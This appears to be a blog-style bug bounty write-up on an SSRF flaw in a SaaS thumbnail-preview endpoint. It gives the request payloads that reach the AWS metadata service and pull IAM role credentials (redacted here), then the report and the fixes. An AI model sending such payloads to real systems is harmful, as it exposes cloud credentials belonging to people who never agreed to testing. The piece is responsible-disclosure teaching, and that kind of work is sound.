I almost missed it.

It looked like a simple image upload feature. Nothing special. But 20 minutes later, I was reading internal AWS metadata from a server that wasn't mine.

This is the story of how I found a critical Server-Side Request Forgery (SSRF) vulnerability — what I did, how I reported it, and what you can learn from it.

What Is SSRF? (Quick Explanation)

Before diving in, let me explain SSRF in plain English.

Imagine you ask a bank teller to go fetch a document for you. The teller goes into the back office — a place you can never enter — and brings it back. SSRF is exactly that. You trick a server into making requests on your behalf — to internal systems, cloud metadata endpoints, or even internal admin panels that are invisible to the outside world.

It's dangerous because:

  • It bypasses firewalls
  • It can expose AWS/GCP/Azure cloud credentials
  • In the worst case, it leads to full Remote Code Execution (RCE)

How I Found It

I was hunting on a private program on Bugcrowd. The target was a large SaaS company with a file management feature.

I noticed one specific endpoint:

POST /api/v1/fetch-preview
{"url": "https://example.com/image.jpg"}

The application was fetching a URL server-side to generate a thumbnail preview. My eyes lit up.

Step 1 — Basic Test

I replaced the URL with my Burp Collaborator address:

{"url": "http://YOUR-COLLABORATOR-ID.burpcollaborator.net"}

Within 2 seconds — a DNS ping hit my Collaborator. The server was making outbound requests. SSRF confirmed at basic level. ✅

Step 2 — Internal Network Probe

Next, I tried internal addresses:

{"url": "http://169.254.169.254/latest/meta-data/"}

169.254.169.254 is the AWS Instance Metadata Service — a goldmine if accessible.

The response came back with:

ami-id
hostname
iam/
instance-id
instance-type

My heart rate went up. I dug deeper:

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Response:

EC2InstanceRole

One more step:

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole"}

And there it was — temporary AWS credentials:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "REDACTED",
  "Token": "REDACTED",
  "Expiration": "2026-XX-XXTXX:XX:XXZ"
}

I immediately stopped. I had proof of concept. I did not use those credentials — that crosses the ethical line.

The Report I Submitted

A good bug bounty report has 5 parts:[blog.hackbynight]​

1. Title: Critical SSRF via /api/v1/fetch-preview — AWS IAM Credentials Exposed

2. Severity: Critical (CVSS 9.8)

3. Impact: An attacker could use the exposed IAM credentials to access S3 buckets, read database snapshots, or potentially take over the entire AWS infrastructure.

4. Steps to Reproduce: Exact curl command, request/response screenshots, Collaborator proof.

5. Remediation:

  • Block requests to 169.254.169.254 at firewall level
  • Implement a strict allowlist for outbound URLs
  • Use IMDSv2 (token-based) instead of IMDSv1

The Result

The program triaged it as Critical within 6 hours.

The fix was deployed in 48 hours.

The bounty was paid. 💰

What You Can Learn From This

If you're a beginner reading this, here are the 3 things I want you to take away:

1. Always test URL input fields. Any feature that accepts a URL — image upload, webhook, PDF generator, link preview — is a potential SSRF entry point.

2. The metadata endpoint is your best friend. http://169.254.169.254 on AWS, http://metadata.google.internal on GCP. Memorize these.

3. Stop at proof of concept. You don't need to dump the entire database to prove a critical bug. Show the impact clearly, stop there, and report it. Stay ethical. Always.

Tools I Used

  • Burp Suite Professional — intercept and modify requests
  • Burp Collaborator — detect out-of-band DNS/HTTP interactions
  • curl — quick manual testing
  • Nuclei — initial automated scanning

Final Thoughts

SSRF is one of the most underrated vulnerabilities in 2026. Most beginners skip URL parameters because they look boring.

Don't be most beginners.

The boring-looking input field at 11 PM on a Tuesday is where the critical bugs hide.

Happy hunting. 🐛

Follow me on Medium for more real-world bug bounty writeups. I'm @HackerMD a cybersecurity researcher and bug bounty hunter from India.